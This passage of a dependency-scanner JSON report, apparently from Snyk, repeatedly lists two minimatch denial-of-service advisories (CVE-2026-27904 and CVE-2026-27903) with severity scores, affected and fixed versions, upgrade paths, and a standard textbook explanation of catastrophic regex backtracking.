[ false, "npm@11.11.0", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ 